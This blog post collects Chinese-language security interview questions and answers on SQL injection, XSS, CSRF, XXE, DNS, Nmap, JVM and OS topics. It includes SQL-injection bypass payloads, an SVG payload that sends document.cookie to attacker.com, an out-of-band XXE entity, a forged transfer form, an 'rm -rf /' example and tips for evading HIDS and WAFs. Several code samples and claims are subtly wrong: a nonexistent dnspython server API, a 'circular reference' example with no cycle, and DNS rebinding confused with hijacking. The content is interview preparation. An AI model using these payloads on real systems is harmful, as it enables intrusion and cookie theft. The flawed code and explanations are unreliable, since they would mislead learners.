【工作】面试题整理大厂常见问题2

g0dam

2024-03-17

0x19 字节跳动实习面试复盘

1. SQL 注入：空格绕过、引号绕过

空格绕过

在 SQL 注入中，空格可能被过滤或替换为其他字符（如 +）。可以通过以下方式绕过：

使用注释符（/* */ 或 --）替代空格。
使用 Unicode 编码（如 \x20）表示空格。
使用 SQL 函数（如 CHAR(32)）生成空格。

示例代码：

# 原始注入：' OR 1=1 --
# 绕过空格：
' OR 1=1/* */--
' OR 1=1--+
' OR 1=1%09--  # 制表符替代空格
' OR 1=1%0A--  # 换行符替代空格

引号绕过

如果单引号（'）或双引号（"）被过滤，可以通过以下方式绕过：

使用字符拼接（如 CONCAT）。
使用 Unicode 编码（如 CHAR(39) 表示 '）。
使用注释符绕过引号。

示例代码：

# 原始注入：' OR '1'='1
# 绕过引号：
' OR 1=1--+
' OR 0x31=0x31--  # 使用十六进制表示数字
' OR 'a'='a--+
' OR (SELECT CHAR(97))=(SELECT CHAR(97))--  # 使用 CHAR 函数生成字符

2. XSS 中 SVG 的利用和修复

SVG 的利用

SVG（Scalable Vector Graphics）是一种基于 XML 的图形格式，支持嵌入 JavaScript 脚本。攻击者可以利用 SVG 文件执行 XSS 攻击。

示例代码（攻击）：

1
2
3

<svg onload="alert('XSS')">
  <script>alert(document.cookie)</script>
</svg>

另一种方式（事件属性）：

1
2
3

<svg onload="fetch('https://attacker.com/log?c='+document.cookie)">
  <rect width="100" height="100" fill="red" onclick="alert('Click me!')"/>
</svg>

修复方法

输入验证：对用户上传的 SVG 文件进行严格的内容过滤，禁止包含 <script> 标签和事件属性（如 onload）。
内容安全策略（CSP）：通过 HTTP 响应头限制脚本执行。
1
Content-Security-Policy: default-src 'self'; script-src 'none'
沙箱化：将 SVG 渲染在沙箱化的 iframe 中，限制其与主页面的交互。

修复代码示例：

# 使用 Python 的 defusedxml 库解析 SVG，防止 XSS
from defusedxml import minidom

def sanitize_svg(svg_data):
    try:
        # 解析 SVG 并移除危险标签
        dom = minidom.parseString(svg_data)
        for node in dom.getElementsByTagName('script'):
            node.parentNode.removeChild(node)
        for node in dom.getElementsByTagName('style'):
            node.parentNode.removeChild(node)
        return dom.toxml()
    except:
        return None

3. DNS 重定向绑定

攻击原理

DNS 重定向攻击通过篡改 DNS 记录，将合法域名解析到攻击者的 IP 地址，从而劫持流量。

示例攻击流程：

攻击者控制 DNS 服务器或利用 DNS 缓存中毒。
将 example.com 的 A 记录指向攻击者的 IP（如 192.168.1.100）。
用户访问 example.com 时，流量被重定向到攻击者的服务器。

攻击代码（模拟 DNS 重定向）：

# 使用 dnspython 库模拟 DNS 重定向
from dns.server import DNSServer
from dns.zone import Zone

# 创建自定义 DNS 服务器
zone = Zone('example.com')
zone.add_a_record('example.com', '192.168.1.100')  # 重定向到攻击者 IP

server = DNSServer(zone, port=53)
server.start()

防御方法

使用 DNSSEC：确保 DNS 记录的完整性和真实性。
限制 DNS 缓存时间（TTL）：减少缓存中毒的风险。
HTTPS 严格传输安全（HSTS）：强制使用 HTTPS，防止中间人攻击。
监控 DNS 记录：定期检查 DNS 记录的异常变化。

防御代码示例（HSTS 配置）：

# Nginx 配置 HSTS
server {
    listen 443 ssl;
    server_name example.com;

    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    ...
}

数组和链表的优势及原因

数组：
- 优势：
  - 随机访问：数组支持通过索引直接访问元素，访问时间复杂度为O(1)。
  - 内存连续性：数组在内存中是连续存储的，便于缓存优化和内存管理。
  - 高效性：在顺序访问时，数组的性能优于链表，因为内存访问更高效。
- 原因：
  - 数组的内存分配是连续的，这使得它在访问时可以利用CPU缓存，提高性能。
  - 数组的索引访问机制使其在需要快速查找或更新元素时非常高效。
链表：
- 优势：
  - 动态大小：链表的大小可以动态调整，不需要预先分配固定大小的内存。
  - 插入和删除高效：链表在插入和删除元素时，只需调整指针，时间复杂度为O(1)（在已知位置的情况下）。
- 原因：
  - 链表的内存分配是分散的，不需要连续的内存空间，这使得它在内存不足时仍然可以扩展。
  - 链表的指针机制使得插入和删除操作不需要移动大量元素，提高了效率。

操作系统层面解释进程和线程区别

进程：
- 定义：进程是程序的一次执行实例，是资源分配的基本单位。
- 特点：
  - 独立性：每个进程都有独立的内存空间和资源。
  - 调度单位：进程是操作系统调度的基本单位。
- 原因：进程的独立性使得它在多任务处理时能够提供良好的隔离性，避免资源冲突。
线程：
- 定义：线程是进程中的一个执行单元，是CPU调度的基本单位。
- 特点：
  - 共享资源：线程共享进程的内存空间和资源。
  - 轻量级：线程的创建和切换开销较小。
- 原因：线程共享资源的特性使得它在并发编程中能够更高效地利用系统资源，减少上下文切换的开销。

线程和进程通信方式以及数据安全问题

通信方式：
- 进程间通信（IPC）：
  - 管道（Pipe）：用于父子进程之间的单向通信。
  - 消息队列：用于进程间传递消息。
  - 共享内存：进程共享一块内存区域进行数据交换。
- 线程间通信：
  - 共享变量：线程通过共享变量进行通信。
  - 锁和条件变量：用于线程间的同步。
- 原因：进程间通信需要通过操作系统提供的机制，而线程间通信由于共享内存，可以直接通过变量进行。
数据安全问题：
- 竞争条件：多个线程同时访问共享资源可能导致数据不一致。
- 死锁：多个线程或进程互相等待对方释放资源，导致系统停滞。
- 原因：线程和进程的并发执行可能导致资源竞争和同步问题，需要通过锁、信号量等机制来解决。

多进程和多线程的选用场景以及原因

多进程：
- 适用场景：
  - 资源隔离：需要隔离不同任务的资源，避免相互影响。
  - 计算密集型任务：需要利用多核CPU的并行计算能力。
- 原因：多进程提供了良好的隔离性，适合需要高稳定性和资源独立性的场景。
多线程：
- 适用场景：
  - I/O密集型任务：如网络请求、文件读写等，线程可以利用等待时间进行其他任务。
  - 并发处理：如Web服务器处理多个客户端请求。
- 原因：多线程的轻量级特性和共享资源的机制使其在并发处理和I/O密集型任务中表现优异。

SQL注入绕过WAF的方式

编码混淆：
- URL编码：将SQL关键字转换为URL编码形式，如%27代替单引号。
- Unicode编码：使用Unicode编码绕过WAF检测。
拆分查询：
- 分段注入：将SQL查询拆分为多个部分，分别注入，最后组合成完整的查询。
协议特性：
- 利用HTTP头：将注入点放在HTTP头中，如User-Agent或Referer。
- 利用Cookie：通过Cookie参数注入SQL代码。
逻辑漏洞：
- 时间盲注：利用SQL的延时函数（如SLEEP）判断查询结果。
- 布尔盲注：通过布尔表达式判断查询结果。
绕过方式的原理：
- 编码混淆：WAF通常对编码后的字符进行检测，但可能无法识别所有编码形式。
- 拆分查询：WAF可能无法识别拆分后的SQL片段。
- 协议特性：WAF可能对非传统注入点（如HTTP头）检测不足。
- 原因：WAF的规则集和检测机制可能存在漏洞，攻击者可以利用这些漏洞绕过检测。

FUZZ绕WAF的Payload长度

FUZZ绕WAF的Payload长度通常取决于WAF的规则和检测能力。一般来说，Payload长度可以从几十字节到几百字节不等。例如，在绕过SQL注入的场景中，Payload可能包括注释符、特殊字符和编码字符，长度可能在50-200字节之间。

写过哪些正则及具体场景

以下是一些常见的正则表达式及其应用场景：

验证IPv4地址：
1
^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$
应用场景：用于验证用户输入的IP地址是否符合IPv4格式。
提取URL中的参数：
1
([a-zA-Z0-9_]+)=([^&]*)(&|$)
应用场景：从URL中提取参数名和参数值，例如从http://example.com?id=123&name=test中提取id=123和name=test。

检测SQL注入：

1	(union\|select\|insert\|update\|delete\|drop\|alter\|create\|exec\|execute\|xp_cmdshell\|or\|and\|;\|--\|/\|/\|'\|")\s+

应用场景：检测用户输入中是否包含SQL注入的关键字。

验证电子邮件格式：
1
^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$
应用场景：验证用户输入的电子邮件地址是否符合标准格式。

不查资料不能测试直接写IPv4的正则

以下是验证IPv4地址的正则表达式：

1	^((25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.){3}(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)$

说明：

25[0-5]：匹配250到255之间的数字。
2[0-4][0-9]：匹配200到249之间的数字。
[01]?[0-9][0-9]?：匹配0到199之间的数字。
\.){3}：匹配三个点，表示四个字节之间的分隔符。

Java反射机制会导致怎样的安全问题

Java反射机制允许在运行时动态加载类、调用方法和访问字段，这可能导致以下安全问题：

动态加载恶意类：
反射机制可以动态加载类，攻击者可能利用这一点加载恶意类，执行未经授权的操作。

调用敏感方法：
反射可以调用私有或受保护的方法，绕过正常的访问控制。例如：

import java.lang.reflect.Method;

public class ReflectionExample {
    private void sensitiveMethod() {
        System.out.println("This is a sensitive method");
    }

    public static void main(String[] args) throws Exception {
        ReflectionExample obj = new ReflectionExample();
        Method method = ReflectionExample.class.getDeclaredMethod("sensitiveMethod");
        method.setAccessible(true);
        method.invoke(obj);
    }
}

这段代码通过反射调用了private方法SensitiveMethod，绕过了访问控制。

信息泄露：
反射可以访问类的私有字段，可能导致敏感信息泄露。
性能问题：
反射机制的使用可能导致性能下降，尤其是在频繁调用的情况下。

XSS和CSRF的相同点以及如何配合利用

相同点：
- 滥用信任关系：两者都滥用Web应用程序和用户之间的信任关系。XSS攻击利用服务器对用户输入数据的信任，CSRF攻击则利用服务器对用户身份的信任。
- 攻击目标：都可能对用户或Web应用程序造成危害，如窃取用户信息、执行非预期操作等。
- 服务器端问题：都是由于服务器端对用户提供的数据过于信任或过滤不严导致的。
配合利用：
- XSS作为载体：利用XSS漏洞注入恶意脚本，该脚本可以自动发送CSRF攻击请求，无需用户交互。例如，攻击者通过XSS漏洞在目标网站注入一段JavaScript代码，这段代码会在用户访问受感染页面时自动发送CSRF请求，执行恶意操作。
- CSRF利用XSS：攻击者可以先利用CSRF漏洞伪造请求，将恶意脚本注入到用户的浏览器中，从而实现XSS攻击。例如，攻击者构造一个CSRF请求，将恶意脚本存储在目标网站的某个页面中，当用户访问该页面时，恶意脚本就会被执行。

CSRF_TOKEN的位置、原理和绕过

位置：CSRF_TOKEN通常位于表单的隐藏字段中，或者作为HTTP请求头的一部分。
原理：CSRF_TOKEN是一个随机生成的值，服务器在处理请求时会验证该令牌是否有效。如果令牌无效，服务器将拒绝处理该请求，从而防止CSRF攻击。
绕过方法：
- XSS攻击：通过XSS漏洞窃取CSRF_TOKEN，然后在CSRF攻击中使用该令牌。
- 预测令牌：如果CSRF_TOKEN的生成算法存在漏洞，攻击者可能通过预测令牌来绕过防护。
- 利用第三方漏洞：如果目标网站存在其他漏洞，如SSRF，攻击者可以利用这些漏洞来获取CSRF_TOKEN。

尽可能多地说你所知道的HTTP头

请求头：
- Host：指定请求的主机名和端口号。
- User-Agent：包含发起请求的用户代理信息，如浏览器类型和版本。
- Referer：指示请求的来源页面。
- Cookie：包含用户的会话信息。
- Authorization：用于HTTP认证。
- Accept：指定客户端能够处理的内容类型。
- Accept-Language：指定客户端偏好的语言。
- Accept-Encoding：指定客户端能够理解的内容编码。
- Connection：指定连接类型，如keep-alive或close。
响应头：
- Server：包含服务器的信息。
- Date：包含响应生成的日期和时间。
- Content-Type：指定响应的内容类型。
- Content-Length：指定响应内容的长度。
- Set-Cookie：用于设置用户代理的Cookie。
- Location：用于重定向。
- WWW-Authenticate：用于响应401未授权状态码。
- ETag：用于缓存验证。
- Cache-Control：指定缓存机制。

Nmap常见扫描方式的原理以及NSE脚本原理

常见扫描方式：
- TCP SYN扫描：发送SYN包，根据目标端口的响应判断端口状态。
- TCP Connect扫描：完成TCP三次握手，判断端口是否开放。
- UDP扫描：发送UDP数据包，根据目标端口的响应判断端口状态。
- 版本检测扫描：发送特定协议的数据包，检测目标服务的版本信息。

NSE脚本原理：

NSE脚本：用于自动化安全测试和信息收集。NSE脚本可以执行各种任务，如端口扫描、漏洞检测、信息收集等。
脚本执行：NSE脚本在Nmap的扫描过程中执行，可以根据扫描结果动态调整扫描策略。

示例脚本：以下是一个简单的NSE脚本，用于检测目标主机是否开放了某个端口：

description = [[
Simple NSE script to detect if a port is open.
]]
author = "Your Name"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default", "safe"}

portrule = function(host, port)
    return port.number == 80
end

action = function(host, port)
    nmap.outputln("Port 80 is open on " .. host.ip)
end

这个脚本会在扫描过程中检查目标主机的80端口是否开放，并输出相应的结果。

跨域的解决办法原理以及安全问题

1. CORS（跨域资源共享）

原理：CORS通过服务端设置HTTP响应头，声明允许的跨域请求来源与方法。服务端需要在响应头中添加如Access-Control-Allow-Origin等字段，告诉浏览器哪些源可以访问该资源。

示例代码：

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/data')
def get_data():
    # 设置响应头
    response = jsonify({'data': 'This is cross-origin data'})
    response.headers.add('Access-Control-Allow-Origin', 'http://example.com')
    return response

if __name__ == '__main__':
    app.run()

安全问题：

信息泄露：如果Access-Control-Allow-Origin设置为*，任何域都可以访问该资源，可能导致敏感数据泄露。
CSRF攻击：如果允许凭据（如Cookie），需要确保请求来源的合法性，避免CSRF攻击。

2. JSONP（JSON with Padding）

原理：JSONP利用<script>标签不受同源策略限制的特性，通过动态创建脚本实现跨域数据获取。服务端返回的数据被包装在一个函数调用中，前端通过定义回调函数来处理数据。

示例代码：

// 前端代码
function handleResponse(data) {
    console.log('Received data:', data);
}

const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.body.appendChild(script);

安全问题：

XSS攻击：由于JSONP加载的是外部脚本，如果服务端返回恶意脚本，可能会导致XSS攻击。
限制GET请求：JSONP只支持GET请求，无法处理POST等其他HTTP方法。

3. Nginx反向代理

原理：通过Nginx配置，将前端请求转发到目标服务器，使浏览器认为所有请求都来自同一域，从而避免跨域问题。

Nginx配置示例：

server {
    listen 80;
    server_name localhost;

    location /api {
        proxy_pass http://api.example.com;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

安全问题：

代理配置不当：如果代理配置不当，可能会暴露内部服务地址，增加安全风险。
性能问题：代理服务器需要处理额外的请求，可能会增加系统负载。

Python多进程和多线程如何选择

1. 多线程

适用场景：

I/O密集型任务：如网络请求、文件读写等，线程可以利用等待时间进行其他任务。
需要快速响应的场景：如Web服务器处理多个客户端请求。

示例代码：

import threading
import time

def io_bound_task():
    print(f"Thread {threading.current_thread().name} started")
    time.sleep(2)  # 模拟I/O操作
    print(f"Thread {threading.current_thread().name} finished")

threads = []
for i in range(5):
    t = threading.Thread(target=io_bound_task)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

2. 多进程

适用场景：

计算密集型任务：需要利用多核CPU的并行计算能力。
需要高稳定性和资源独立性的场景。

示例代码：

from multiprocessing import Process
import time

def cpu_bound_task():
    print(f"Process {Process.name} started")
    sum = 0
    for i in range(1000000):
        sum += i
    print(f"Process {Process.name} finished")

processes = []
for i in range(5):
    p = Process(target=cpu_bound_task)
    processes.append(p)
    p.start()

for p in processes:
    p.join()

Python的GIL锁本质上做了什么事情

GIL（Global Interpreter Lock）是Python解释器的一个机制，用于确保同一时刻只有一个线程执行Python字节码。它的主要作用是：

线程安全：避免多线程同时操作Python对象，确保线程安全。
简化内存管理：减少内存分配和垃圾回收的复杂性。

影响：

性能瓶颈：在多核CPU上，GIL会限制多线程的性能，因为线程无法真正并行执行。
适用场景：对于I/O密集型任务，GIL的影响较小；但对于计算密集型任务，建议使用多进程或C扩展。

Java的JVM为什么要有GCROOT

GCROOT（垃圾回收根）是Java虚拟机中垃圾回收的起点。GCROOT通常包括：

Java栈中的局部变量：方法调用中的参数和局部变量。
本地方法栈中的引用：Native方法中的Java对象引用。
运行时常量池中的类静态属性和常量。

GCROOT的作用是：

标记活动对象：垃圾回收器从GCROOT开始标记所有可达对象。
确定垃圾对象：未被GCROOT可达的对象将被回收。

Java的JVM有哪些垃圾收集器

Serial收集器：单线程收集器，适用于单核CPU和小内存应用。
ParNew收集器：Serial的多线程版本，适用于多核CPU。
Parallel Scavenge收集器：关注吞吐量，适用于后台运行的应用。
Serial Old收集器：Serial的老年代版本，适用于小内存应用。
Parallel Old收集器：Parallel Scavenge的老年代版本，适用于多核CPU。
CMS（Concurrent Mark Sweep）收集器：低延迟收集器，适用于对响应时间敏感的应用。
G1（Garbage-First）收集器：分区收集器，适用于大内存和对延迟有要求的应用。

垃圾回收计数引用机制的缺点是什么

无法处理循环引用：如果两个对象互相引用，但没有其他引用指向它们，计数引用机制无法回收这些对象。
性能开销：维护引用计数需要额外的内存和计算资源。
复杂性：在多线程环境下，引用计数需要同步操作，增加了实现的复杂性。

示例代码：

public class ReferenceCountingExample {
    public static void main(String[] args) {
        Object a = new Object();
        Object b = new Object();
        a = b;
        b = a; // 循环引用，但没有其他引用指向它们
        // 此时，a和b互相引用，但没有其他引用指向它们，无法被垃圾回收
    }
}

CSRF（Cross-Site Request Forgery）攻击的核心是利用受害者的身份认证信息（如Cookie）发送恶意请求。浏览器会自动携带用户的Cookie，攻击者可以通过伪造请求来利用这一点。例如，攻击者可以构造一个HTML表单，提交到目标网站，从而触发CSRF攻击：

<form action="https://example.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker_account">
    <input type="hidden" name="amount" value="1000">
    <input type="submit" value="Click Me">
</form>

当用户访问包含此表单的恶意页面并提交表单时，浏览器会自动携带用户的Cookie，从而完成攻击。

跨域场景下，CSRF攻击的可行性取决于目标网站的Cookie设置。如果目标网站的Cookie设置了SameSite属性为Strict或Lax，则跨域请求不会携带Cookie。如果SameSite设置为None且启用了Secure属性，跨域请求可以携带Cookie。例如：

// 设置Cookie
setcookie('secret', '666666', [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'None'
]);

攻击者可以通过构造跨域请求来尝试利用这一点。

HTTP-Only 本质上做了什么事情

HTTP-Only 属性用于防止JavaScript访问Cookie，从而避免XSS攻击中Cookie被窃取。例如：

1 2	// JavaScript无法访问HTTP-Only Cookie document.cookie; // 返回的Cookie中不包含HTTP-Only属性的值

HTTP-Only 仅允许Cookie通过HTTP协议传输，而不能通过JavaScript读取或修改。

平衡二叉树和二叉搜索树

平衡二叉树：是一种特殊的二叉树，其左右子树的高度差不超过1。例如AVL树，通过旋转操作保持平衡。
二叉搜索树：左子树的所有节点值小于根节点，右子树的所有节点值大于根节点。例如：

class TreeNode:
    def __init__(self, val):
        self.val = val
        self.left = None
        self.right = None

def insert(root, val):
    if not root:
        return TreeNode(val)
    if val < root.val:
        root.left = insert(root.left, val)
    else:
        root.right = insert(root.right, val)
    return root

平衡二叉树确保了操作的时间复杂度为O(log n)，而二叉搜索树在最坏情况下可能退化为链表。

SYN Flood 攻击原理及解决方案

原理：攻击者发送大量SYN包到目标服务器，但不完成三次握手，导致服务器资源耗尽。
解决方案：
- SYN Cookie：服务器不分配资源，而是通过计算SYN包的序列号来验证后续的ACK包。
- 防火墙过滤：限制来自特定IP的SYN包数量。

SYN 反向探测的原理

SYN反向探测是一种检测SYN Flood攻击的方法。通过分析目标服务器的SYN-ACK包，判断是否存在异常流量。

https://zhuanlan.zhihu.com/p/357887244
SYN Cookie是一种防御SYN Flood的机制。服务器在收到SYN包时，不分配资源，而是计算一个Cookie值，并将其放入SYN-ACK包中。当客户端发送ACK包时，服务器验证Cookie值是否正确，从而判断请求是否合法。

UDP端口探测的有效方式

使用 nc (netcat) 工具：
- 通过发送 UDP 数据包来测试端口是否可达。例如：
  1
  echo "hello" | nc -u serverB 123
  这里 -u 表示使用 UDP 协议。
使用 socat 工具：
- 发送 UDP 数据包测试端口：
  1
  echo "hello" | socat - udp4:serverB:123
使用 dig 工具：
- 测试 DNS 服务（通常使用 UDP 端口 53）：
  1
  dig @serverB example.com

编写脚本或程序：

使用 Python 的 socket 模块发送 UDP 数据包：

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
message = b'Hello, UDP!'
sock.sendto(message, ('serverB', 123))
sock.close()

Nmap的FIN扫描和空扫描

FIN扫描：
- 发送一个设置了 FIN 标志的 TCP 数据包。如果收到 RST 响应，则端口关闭；如果没有响应，则端口开放或被过滤。命令：
  1
  sudo nmap -sF 192.168.1.1
空扫描：
- 发送未设置任何标志的 TCP 数据包。如果收到 RST 响应，则端口关闭；如果没有响应，则端口开放或被过滤。命令：
  1
  sudo nmap -sN 192.168.1.1

三次握手的序列号变化

客户端发送 SYN：
- 客户端随机生成一个初始序列号（ISN），发送到服务器。
服务器响应 SYN/ACK：
- 服务器收到 SYN 后，生成自己的初始序列号，并将客户端的 ISN 加 1 作为确认号。
客户端发送 ACK：
- 客户端将服务器的 ISN 加 1 作为确认号，发送 ACK 给服务器，完成三次握手。

Python的值类型和引用类型

值类型：
- 包括整数、浮点数、布尔值、字符串等。它们是不可变的，赋值时会创建新的对象。
引用类型：
- 包括列表、字典、集合等。它们是可变的，赋值时只是引用的传递。

Python的list和dict线程安全吗

线程安全：
- Python 的 list 和 dict 不是线程安全的。在多线程环境下，对它们的并发操作可能导致数据不一致。
解决方法：
- 使用锁（如 threading.Lock）来保护对共享资源的访问。

结合实际的例子说说SSRF

SSRF（服务器端请求伪造）：
- 攻击者通过服务器端的漏洞，诱导服务器向内部网络或外部网络发送请求。
示例：
- 某网站的图片上传功能允许用户输入 URL 来加载图片。攻击者可以输入 http://localhost:8080/admin，导致服务器向本地的管理页面发送请求，从而获取敏感信息。

结合实际的例子讲讲RCE

RCE（远程代码执行）：
- 攻击者通过漏洞在目标服务器上执行任意代码。
示例：
- 某 Web 应用允许用户输入命令来执行某些操作。如果输入未经过滤，攻击者可以输入 os.system('rm -rf /')，导致服务器删除所有文件。

为什么现在文件上传很少了

安全风险：
- 文件上传功能容易被利用来上传恶意文件（如 Webshell），从而控制服务器。
替代方案：
- 使用 API 或云存储服务来处理文件，减少直接上传的风险。

基于语义分析的WAF了解吗

语义分析：
- 基于语义分析的 WAF 通过分析请求的语义，识别潜在的攻击。例如，通过解析 SQL 查询的结构，判断是否为 SQL 注入。
优势：
- 能够更准确地识别复杂攻击，减少误报。
示例：
- 某 WAF 通过解析 SQL 查询，发现请求中包含 UNION SELECT，判断为 SQL 注入攻击。

Java的Class文件结构

Java的Class文件是一种二进制文件，用于存储Java程序的编译结果。它由多个部分组成，包括魔数、常量池、访问标记、类索引、父类索引、接口索引、字段表、方法表等。以下是Class文件的主要结构：

魔数：Class文件的开头是魔数cafebabe，这是JVM识别Class文件的标志。
常量池：存储类中使用的常量信息，包括字符串、类名、方法名等。常量池的结构如下：
1
2
3
4
5
CONSTANT_Utf8_info {
u1 tag;
u2 length;
u1 bytes[length];
}
访问标记：描述类的访问权限，如public、final等。
类索引、父类索引和接口索引：描述类的继承关系。
字段表：存储类的字段信息，包括字段名、类型、访问权限等。
方法表：存储类的方法信息，包括方法名、参数、返回值等。

CSP是如何防御XSS的

内容安全策略（CSP）是一种安全机制，用于防止XSS攻击。其工作原理如下：

策略定义：通过HTTP响应头定义CSP策略，限制资源的加载来源。
指令使用：使用指令如default-src、script-src等，指定允许加载的资源类型和来源。
报告机制：通过report-uri指令，将违反策略的事件发送到指定的报告服务器。

示例：

1	<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com">

腾讯

1. 企业有HIDS的情况下怎么攻击

无文件攻击：利用内存中的恶意脚本或工具（如PowerShell）执行攻击，避免在磁盘上留下痕迹，从而绕过HIDS的文件监控。
混淆技术：对恶意代码进行混淆，使其难以被HIDS的签名检测识别。例如，通过加密或编码技术隐藏恶意代码。
利用合法工具：使用企业内部合法的工具（如管理工具）进行攻击，这些工具通常不会被HIDS标记为恶意。
低频率攻击：通过低频率的攻击行为减少HIDS的警报触发，例如分阶段执行攻击步骤。

2. 企业要怎么做敏感数据泄露的防护

数据加密：对敏感数据进行加密，确保即使数据被窃取也无法被解读。使用强加密算法如AES-256。
访问控制：实施最小权限原则，仅授予员工完成工作所需的最低权限，并定期审查权限设置。
部署DLP系统：实时监控数据流动，识别并阻止未经授权的数据传输行为。
多因素身份验证（MFA）：在重要系统和高权限账户上启用MFA，增强账户安全性。
员工培训：定期开展安全培训，提高员工对数据泄露威胁的识别能力。

3. 聊HW中的绕过或技巧性强的经历

WAF绕过：通过分割攻击、关键字混淆（如大小写混淆、分词法）或使用合法字符替代恶意字符来绕过WAF检测。
协议伪装：将恶意流量封装在看似正常的协议（如HTTP）中，绕过防火墙的限制。
流量分片：使用工具如Scapy将恶意数据包分片，使防火墙或IDS/IPS难以重组和检测完整的恶意流量。

4. TCP拥塞控制和慢启动

慢启动：在TCP连接建立初期，发送方逐渐增加发送窗口的大小，直到达到网络的拥塞阈值。通过这种方式，发送方可以探测网络的可用带宽。
拥塞控制：当检测到网络拥塞（如丢包）时，发送方会减小发送窗口，降低发送速率，以避免进一步的拥塞。常用的拥塞控制算法包括Reno和Cubic。

5. 谷歌语法：怎么收集子域名

使用site:语法：例如site:example.com，可以列出example.com的所有子域名。
使用inurl:语法：例如inurl:example.com，可以查找包含example.com的URL。
使用intext:语法：例如intext:example.com，可以查找包含example.com的文本内容。

6. 谷歌语法：识别指纹的时候，如何搜索路径

使用inurl:语法：例如inurl:/admin，可以查找包含/admin路径的URL。
使用intext:语法：例如intext:login，可以查找包含login的文本内容。

7. 谷歌语法：如何搜索前端源码的指纹

使用site:和inurl:组合：例如site:example.com inurl:js，可以查找example.com的JavaScript文件。
使用intext:语法：例如intext:jQuery，可以查找包含jQuery的文本内容。

8. 怎么通过IP反查域名

使用在线工具：如MXToolbox或DNS Lookup工具。
使用命令行工具：如nslookup或dig，例如nslookup 1.2.3.4。

9. 信息收集中子域名的收集手段

使用子域名枚举工具：如Sublist3r、Amass等。
利用搜索引擎：使用谷歌语法（如site:example.com）。
利用DNS查询工具：如dig或nslookup，查询子域名记录。

CSRF 防御

Referer 验证：通过检查 HTTP 请求头中的 Referer 字段来判断请求是否来自合法的来源。
Referer 为空的防御：如果 Referer 为空，可能是浏览器特性导致，也可能是攻击者故意构造的请求。在这种情况下，可以结合其他防御机制来判断请求的合法性。

XXE 无回显探测

DNS 验证：通过构造包含特定域名的外部实体，利用 DNS 查询来判断是否存在 XXE 漏洞。
内部实体探测：通过探测内部实体的解析情况，判断是否存在 XXE 漏洞。

XSS 硬编码利用

前端 DOM 型：通过 JavaScript 代码转义特殊编码，如 \u003c，来执行恶意代码。
HTML 中的特殊编码执行：在 HTML 中，如果具备某种标签的特性，可以导致特殊编码执行，从而实现 XSS 攻击。

CSRF 防御代码示例

public class CsrfFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        String referer = httpRequest.getHeader("Referer");
        if (referer != null && referer.startsWith("http://yourdomain.com")) {
            chain.doFilter(request, response);
        } else {
            // CSRF 检测失败，处理逻辑
            ((HttpServletResponse) response).sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF attack detected");
        }
    }
}

XXE 无回显探测代码示例

1
2
3

<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://yourdomain.com/xxe-test">
]>

XSS 硬编码利用代码示例

1 2	var userInput = "\u003cscript\u003ealert('XSS')\u003c/script\u003e"; document.write(userInput);

XSS 转义特殊编码执行代码示例

<script>
    var userInput = "\u003cscript\u003ealert('XSS')\u003c/script\u003e";
    document.write(userInput);
</script>

1. Linux程序的内存布局

Linux程序在运行时，其内存布局通常分为以下几个段：

代码段（.text）：存放程序的可执行代码。
数据段（.data）：存放已初始化的全局变量和静态变量。
未初始化数据段（.bss）：存放未初始化的全局变量和静态变量。
堆（Heap）：动态内存分配区域，由malloc、calloc等函数管理。
栈（Stack）：存放函数调用时的局部变量和返回地址等。

示例代码：

#include <stdio.h>
#include <stdlib.h>

// 全局变量，存放在.data段
int global_initialized = 42;

// 未初始化的全局变量，存放在.bss段
int global_uninitialized;

void example_function() {
    // 局部变量，存放在栈中
    int stack_variable = 10;
    printf("Stack variable: %d\n", stack_variable);
}

int main() {
    example_function();

    // 动态分配的内存，存放在堆中
    int *heap_variable = (int *)malloc(sizeof(int));
    *heap_variable = 20;
    printf("Heap variable: %d\n", *heap_variable);
    free(heap_variable);

    return 0;
}

2. .data段和.bss段存放的数据

.data段：存放已初始化的全局变量和静态变量。
.bss段：存放未初始化的全局变量和静态变量。

示例代码：

// .data段
int initialized_global = 10;
static int initialized_static = 20;

// .bss段
int uninitialized_global;
static int uninitialized_static;

int main() {
    // .data段的变量
    printf("Initialized global: %d\n", initialized_global);
    printf("Initialized static: %d\n", initialized_static);

    // .bss段的变量
    printf("Uninitialized global: %d\n", uninitialized_global);
    printf("Uninitialized static: %d\n", uninitialized_static);

    return 0;
}

3. 函数调用时的流程、参数传递、寄存器和栈的变化

函数调用时的流程通常包括以下几个步骤：

参数传递：参数通过寄存器或栈传递。
保存返回地址：将返回地址存入栈中。
创建栈帧：为局部变量分配栈空间。
执行函数体：执行函数逻辑。
销毁栈帧：释放栈空间。
返回结果：将结果存入寄存器或栈中。

示例代码：

#include <stdio.h>

void example_function(int a, int b) {
    int local_variable = a + b;
    printf("Result: %d\n", local_variable);
}

int main() {
    example_function(5, 3);
    return 0;
}

汇编代码（x86_64）：

; main函数
main:
    push rbp
    mov rbp, rsp
    sub rsp, 16
    mov dword [rbp-4], 5
    mov dword [rbp-8], 3
    mov eax, dword [rbp-4]
    mov edx, dword [rbp-8]
    mov esi, edx
    mov edi, eax
    call example_function
    mov eax, 0
    leave
    ret

; example_function函数
example_function:
    push rbp
    mov rbp, rsp
    sub rsp, 16
    mov dword [rbp-4], edi
    mov dword [rbp-8], esi
    mov eax, dword [rbp-4]
    add eax, dword [rbp-8]
    mov dword [rbp-12], eax
    mov eax, dword [rbp-12]
    mov esi, eax
